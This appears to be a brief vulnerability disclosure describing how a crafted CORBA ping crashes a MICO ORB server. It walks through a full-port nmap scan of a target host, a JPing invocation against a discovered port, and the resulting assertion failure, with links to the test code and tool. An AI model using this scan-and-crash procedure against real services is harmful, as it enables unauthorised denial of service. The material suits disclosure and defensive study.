Vulnerability Details == The following is for educational purposes only! Start the orb, you'll crash # Example code -> http://wwwstud.informatik.uni-rostock.de/~cb098/mico_bug.tgz $ ./server scan your target... $ sudo nmap -sS -oM results.nmap -p 1-65535 192.168.1.10 / | grep unknown 8010/tcp open unknown 49576/tcp open unknown 51140/tcp open unknown One of these port could be the orb. Lets try to ping (object._non_exists()) the last one. For this I'm using a special handmade CORBA-Ping-Prog. It's also possible to use JacORBs pingo.. My JPing is avaible at http://wwwstud.informatik.uni-rostock.de/~cb098/JPing.java $ java JPing -p corbaloc:: 192.168.1.10:8010//200/1151845678/0/_5 orb.string_to_object ... ok object exists? Exception caught; org.omg.CORBA.COMM_FAILURE: vmcid: SUN minor code: 208 completed: Maybe The line above are indicating that there was something wrong. On every active port, you'll get COMM_FAILURE; but on the ORB-port OBJECT_NOT_EXIST is expected and mandatory by OMG CORBA Spec. (See http://www.omg.org) -- mico testserver crashed / output -- A look into server terminal let us know, that there's sth. wrong. $ ./server IOR:010000000e00000049444c3a48656c6c6f3a312e300000000200000000000000390 0000001010000160000006c6f63616c686f73 742e6c6f63616c646f6d61696e00c4c71 50000002f363836302f313135313735303432362f302f5f300000000100000024000000 0100 000001000000010000001400000001000000010001000000000009010100000000 00 # myior <-- everything is ok until here server: orb.cc:332: void CORBA::ORBInvokeRec::set_answer_invoke(CORBA:: InvokeStatus, CORBA::Object*, CORBA:: ORBRequest*, GIOP::AddressingDisp osition): Assertion `_type == RequestInvoke' failed.
